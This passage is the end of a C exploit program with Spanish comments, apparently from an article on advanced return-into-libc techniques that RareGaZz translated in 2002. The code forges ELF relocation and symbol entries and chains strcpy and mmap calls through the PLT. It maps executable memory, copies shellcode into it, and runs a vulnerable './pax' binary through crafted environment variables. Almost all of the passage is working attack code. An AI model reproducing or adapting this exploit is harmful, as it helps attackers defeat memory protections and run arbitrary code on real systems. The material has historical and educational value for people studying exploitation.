ourbuf) + 4, zeronum); } /* lo mismo que arriba, pero prepara a nullificar un byte, no en nuestro payload sino en la direccion absoluta abs */ void setup_zero_abs(struct ourbuf *b, unsigned char *addr, int offset, int zeronum) { char *ptr = (char *) b; if (!ptr[offset]) { fprintf(stderr, "fixing abs zero at %i(off=%i)\n", zeronum, offset); ptr[offset] = 0xff; fix_zero(b, (unsigned int) addr, zeronum); } else fix_zero(b, FRAMESINDATA + sizeof(struct ourbuf) + 4, zeronum); } int main(int argc, char **argv) { char lng[sizeof(struct ov) + 4 + 1]; char str[sizeof(struct ourbuf) + 4 + 1]; char *env[3] = { lng, str, 0 }; struct ourbuf thebuf; struct ov theov; int i; unsigned int real_index, mysym, reloc_offset; memset(theov.scratch, 'X', sizeof(theov.scratch)); if (argc == 2 && !strcmp("testing", argv[1])) { for (i = 0; i < sizeof(theov.scratch); i++) theov.scratch[i] = i + 0x10; theov.ebp = 0x01020304; theov.eip = 0x05060708; } else { theov.ebp = FRAMESINDATA; theov.eip = LEAVERET; } strcpy(lng, "LNG="); memcpy(lng + 4, &theov, sizeof(theov)); lng[4 + sizeof(theov)] = 0; memset(&thebuf, 'A', sizeof(thebuf)); real_index = (VIND - VERSYM) / 2; mysym = SYMTAB + 16 * real_index; fprintf(stderr, "mysym=0x%x\n", mysym); if (mysym > FRAMESINDATA && mysym < FRAMESINDATA + sizeof(struct ourbuf) + 16) { fprintf(stderr, "syment intersects our payload;" " choose another VIND or FRAMESINDATA\n"); exit(1); } reloc_offset = FRAMESINDATA + offsetof(struct ourbuf, r) - JMPREL; /* Esta llamada strcpy trasladara my_elf_sym desde nuestro payload a una ubicacion apropiadamente fijada (mysym) */ thebuf.reloc.new_ebp = FRAMESINDATA + offsetof(struct ourbuf, zero); thebuf.reloc.func = STRCPY; thebuf.reloc.leave_ret = LEAVERET; thebuf.reloc.param1 = mysym; thebuf.reloc.param2 = FRAMESINDATA + offsetof(struct ourbuf, sym); thebuf.mymmap.new_ebp = FRAMESINDATA + offsetof(struct ourbuf, trans); thebuf.mymmap.put_plt_here = PLT; thebuf.mymmap.reloc_offset = reloc_offset; thebuf.mymmap.leave_ret = LEAVERET; thebuf.mymmap.start = MMAP_START; thebuf.mymmap.length = 0x01020304; thebuf.mymmap.prot = 0x01010100 | PROT_EXEC | PROT_READ | PROT_WRITE; thebuf.mymmap.flags = 0x01010000 | MAP_EXECUTABLE | MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS; thebuf.mymmap.fd = 0xffffffff; thebuf.mymmap.offset = 0x01021000; thebuf.trans.new_ebp = 0x01020304; thebuf.trans.func = STRCPY; thebuf.trans.leave_ret = MMAP_START + 1; thebuf.trans.param1 = MMAP_START + 1; thebuf.trans.param2 = FRAMESINDATA + offsetof(struct ourbuf, hell); memset(thebuf.hell, 'x', sizeof(thebuf.hell)); memcpy(thebuf.hell, hellcode, strlen(hellcode)); thebuf.r.r_info = 7 + 256 * real_index; thebuf.r.r_offset = FRAMESINDATA + sizeof(thebuf) + 4; thebuf.sym.st_name = FRAMESINDATA + offsetof(struct ourbuf, mmapname) + NAME_ADD_OFF- STRTAB; thebuf.sym.st_value = FRAMESINDATA + sizeof(thebuf) + 4; #define ANYTHING 0xfefefe80 thebuf.sym.st_size = ANYTHING; thebuf.sym.st_info = (unsigned char) ANYTHING; thebuf.sym.st_other = ((unsigned char) ANYTHING) & ~3; thebuf.sym.st_shndx = (unsigned short) ANYTHING; strcpy(thebuf.mmapname, mmap_string); /* las funciones setup_zero[_abs] preparan argumentos para las llamadas strcpy, que son para nullificar ciertos bytes */ setup_zero(&thebuf, offsetof(struct ourbuf, r) + offsetof(struct my_elf_rel, r_info) + 2, 0); setup_zero(&thebuf, offsetof(struct ourbuf, r) + offsetof(struct my_elf_rel, r_info) + 3, 1); setup_zero_abs(&thebuf, (char *) mysym + offsetof(struct my_elf_sym, st_name) + 2, offsetof(struct ourbuf, sym) + offsetof(struct my_elf_sym, st_name) + 2, 2); setup_zero_abs(&thebuf, (char *) mysym + offsetof(struct my_elf_sym, st_name) + 3, offsetof(struct ourbuf, sym) + offsetof(struct my_elf_sym, st_name) + 3, 3); setup_zero(&thebuf, offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_plt_args, start), 4); setup_zero(&thebuf, offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_plt_args, offset), 5); setup_zero(&thebuf, offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_plt_args, reloc_offset) + 2, 6); setup_zero(&thebuf, offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_plt_args, reloc_offset) + 3, 7); strcpy(str, "STR="); memcpy(str + 4, &thebuf, sizeof(thebuf)); str[4 + sizeof(thebuf)] = 0; if (sizeof(struct ourbuf) + 4 > strlen(str) + sizeof(thebuf.mmapname)) { fprintf(stderr, "Zeroes in the payload, sizeof=%d, len=%d, correct it !\n", sizeof(struct ourbuf) + 4, strlen(str)); fprintf(stderr, "sizeof thebuf.mmapname=%d\n", sizeof(thebuf.mmapname)); exit(1); } execle("./pax", "pax", 0, env, 0); return 1; } <--> Traducido por Active Matrix - ActiveMatrix@technologist.com Para RareGaZz - http://raregazz.cjb.net Argentina, 2002 El articulo aqui traducido, mantiene los derechos de autor.